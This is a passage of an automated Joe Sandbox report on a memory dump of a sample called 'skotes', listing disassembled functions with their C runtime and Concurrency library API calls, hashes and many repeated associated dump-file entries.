                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: BuffersConcurrency::details::InitializeManager::Resource
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3433162309-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 5ee86e4c5e65932ff7028c7648f0122d26be0fac86a69441bd5b52bf86dc10ff
                                                                                                                                                                                                                                                                                    • Instruction ID: 0ccee1dd6a9a43c5b8ab9f1227e50f73e01d71e4fa9a276f0df682b2f304a7c3
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 5ee86e4c5e65932ff7028c7648f0122d26be0fac86a69441bd5b52bf86dc10ff
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: CB314A75A00309DFCF24DF94C8C0BAE7BB9BF54310F1444AAD909AB346D730AA46DBA1
                                                                                                                                                                                                                                                                                    Function 001813F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • __EH_prolog3_catch.LIBCMT ref: 001813FC
                                                                                                                                                                                                                                                                                    • Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 00181447
                                                                                                                                                                                                                                                                                    • Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 0018147A
                                                                                                                                                                                                                                                                                    • Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 0018152A
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2092016602-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 6a83ef9e11acf613005bc6b7eadc82edb61e9eed8c1bf5421272ed9b0aa4d3b0
                                                                                                                                                                                                                                                                                    • Instruction ID: 397a31daec262776544eecfa609272eb2f04db58885e2b5f1a82cf3683e73f59
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 6a83ef9e11acf613005bc6b7eadc82edb61e9eed8c1bf5421272ed9b0aa4d3b0
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 01315272E00605EBCF14EFA8C4915EDF7B5BF58710B14822DE426A7381CB34AA45CF90
                                                                                                                                                                                                                                                                                    Function 0016BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Xtime_diff_to_millis2_xtime_get
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 531285432-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 189346c1b953c903d35876e4b11a9071b2736cbd7851be717f9ffb9908225435
                                                                                                                                                                                                                                                                                    • Instruction ID: bca72773deb613a0bda3442de76e56fc4bc73d8bfcaa82e98f20e1a4fcb1965a
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 189346c1b953c903d35876e4b11a9071b2736cbd7851be717f9ffb9908225435
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 83213071A00219AFDF00EFA4DC959BEB7B9EF18710F504465F905B7261DB309D519BE0
                                                                                                                                                                                                                                                                                    Function 00179C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • __EH_prolog3_catch.LIBCMT ref: 00179C9C
                                                                                                                                                                                                                                                                                    • Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00179CE8
                                                                                                                                                                                                                                                                                    • std::bad_exception::bad_exception.LIBCMT ref: 00179CFE
                                                                                                                                                                                                                                                                                    • std::bad_exception::bad_exception.LIBCMT ref: 00179D6A
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2033596534-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 08b3bbbc8a53b81820840dcbc7210a8614aa54baa43f11a3f7c2d86e17638e1a
                                                                                                                                                                                                                                                                                    • Instruction ID: 5fc2dcc5d630700147256ef1fc2d751c7bd694977b08665e00069a04255e2759
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 08b3bbbc8a53b81820840dcbc7210a8614aa54baa43f11a3f7c2d86e17638e1a
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 3721C575900604DFCB15EFE4D982DADB7B0AF15310F218069F009AB291EB316E4ACB51
                                                                                                                                                                                                                                                                                    Function 0017A026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 0017A069
                                                                                                                                                                                                                                                                                      • Part of subcall function 0017B560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 0017B5AF
                                                                                                                                                                                                                                                                                    • Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 0017A07F
                                                                                                                                                                                                                                                                                    • Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 0017A0CB
                                                                                                                                                                                                                                                                                      • Part of subcall function 0017AB41: List.LIBCONCRT ref: 0017AB77
                                                                                                                                                                                                                                                                                    • Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 0017A0DB
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
